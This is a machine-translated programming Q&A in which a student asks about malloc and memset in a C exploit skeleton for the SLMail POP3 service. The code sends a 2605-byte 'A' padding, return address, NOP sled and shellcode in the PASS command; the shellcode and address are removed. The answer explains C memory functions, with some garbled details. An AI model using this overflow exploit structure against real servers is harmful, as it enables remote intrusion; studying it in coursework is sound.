我正在上课,它要求我操纵这个c代码以适应我的具体情况。我理解其中的大部分但是在理解下面使用的几个c特定变量时遇到了一些麻烦。注意我已经删除了部分代码但是保留了有问题的区域。
此外,我不是要求你做我的作业,我只是需要一些帮助来理解某些方面,所以我可以自己做...有用的推动,或暴力推动。
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <errno.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#define retadd "\x\x\x\x" */I removed the memory return*/
#define port 110
char buf[] = "Stuff will be put here"
struct sockaddr_in plm,lar,target;
int conn(char *ip)
{
int sockfd;
plm.sin_family = AF_INET;
plm.sin_port = htons(port);
plm.sin_addr.s_addr = inet_addr(ip);
bzero(&(plm.sin_zero),8);
sockfd = socket(AF_INET,SOCK_STREAM,0);
if((connect(sockfd,(struct sockaddr *)&plm,sizeof(struct sockaddr))) < 0)
{
perror("[-] connect error!");
exit(0);
}
printf("[*] Connected to: %s.\n",ip);
return sockfd;
}
int main(int argc, char *argv[])
{
int xs;
char out[1024];
char *buffer = malloc(2958);
memset(buffer, 0x00, 2958);
char *off = malloc(2606);
memset(off, 0x00, 2606);
memset(off, 0x41, 2605);
char *nop = malloc(16);
memset(nop, 0x00, 8);
memset(nop, 0x90, 16);
strcat(buffer, off);
strcat(buffer, retadd);
strcat(buffer, nop);
strcat(buffer, shellcode);
printf("[+] SLMAIL Connection \n");
xs = conn("192.168.31.29");
read(xs, out, 1024);
printf("[*] %s", out);
write(xs,"USER username\r\n", 15);
read(xs, out, 1024);
printf("[*] %s", out);
write(xs,"PASS ",5);
write(xs,buffer,strlen(buffer));
printf("insert len: %d bytes\n",strlen(insert));
printf("Buffer len: %d bytes\n",strlen(buffer));
write(xs,"\r\n",4);
close(xs);
}
malloc(2958)设置是什么?这是缓冲区的总大小分配吗? 还有什么是c?
中的memset变量char *buffer = malloc(2958);
memset(buffer, 0x00, 2958);
在malloc(2606)下,这是在内存中注册特定点所需的字节大小,为什么它对于十六进制的&#39; A&lt; 265&lt; 260&gt;来减少1?
char *off = malloc(2606);
memset(off, 0x00, 2606);
memset(off, 0x41, 2605);
我再次站起来,这将向缓冲区添加7 x90s,但是malloc和0x00的重要性是什么?
char *nop = malloc(8);
memset(nop, 0x00, 8);
memset(nop, 0x90, 7);
谢谢。
答案 0 :(得分:0)
快速查看手册页会显示malloc
保留参数中声明的内存字节数并返回指向该内存的指针,memset
填充一系列内存传递的(字节)值。
char *nop = malloc(8); // allocate 8 bytes of memory
memset(nop, 0x00, 8); // fill those 8 bytes with 0x00
memset(nop, 0x90, 7); // fill the first 7 bytes with 0x70
这个的一个原因可能是首先进行例行初始化,然后进行第二次初始化以生成以空字符结尾的字符串。请注意,malloc
不初始化内存,分配的内存处于未定义状态。
我看不到它 - calloc
与malloc
相同,但也用0
填充已分配的内存。
无论您使用malloc
还是calloc
还是realloc
,您都应该养成一直检查结果的习惯。
char *nop = malloc(8);
if (nop == NULL) { ... /* failure code */ }
另一个小点,四个连续strcat(buffer,...)
语句中的第一个只能起作用,因为缓冲区已初始化。这是不好的做法:第一个strcat
会更好strcpy
。
虽然我在这里(这需要终止;
来编译)
char buf[] = "Stuff will be put here"
只会保留您的消息长度所保留的字节数:22,因为它。
最后,那些char*
缓冲区为main()
分配了内存 - 内存应该在程序结束时通过调用
free(buffer);
free(nop);
等